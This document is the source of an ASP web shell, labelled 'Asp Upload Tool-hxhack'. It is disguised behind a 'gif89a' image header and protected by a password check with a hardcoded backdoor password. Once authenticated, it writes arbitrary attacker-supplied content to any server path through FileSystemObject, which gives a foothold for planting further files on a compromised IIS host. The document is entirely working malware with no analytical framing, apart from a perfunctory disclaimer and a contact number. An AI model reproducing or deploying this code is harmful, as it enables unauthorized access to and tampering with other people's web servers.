gif89a<%
dim Userpwd,URL
Userpwd = "'" 'User Password
URL = Request.ServerVariables("URL")
If Request("pwd")=Userpwd or Request("pwd")="hxhack" then Session("mgler")=Userpwd
If Session("mgler")<>Userpwd Then
If Request.Form("pwd")<>"" Then
If Request.Form("pwd")=Userpwd Then
Session("mgler")=Userpwd
Response.Redirect URL
Else
Response.Write""
End If
Else
RW="
User Login"
RW=RW & "
网络小鬼"
RW=RW & "
声明:请勿使用本程序从事非法行为,否则后果自负,本人QQ:741717851,想找几个朋友一起交流技术!
"
Response.Write RW
RW=""
End If
Response.End
End If
%>
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="Success!"%>
<%else%>
<%="False!"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="Asp Upload Tool-hxhack"%>
<%="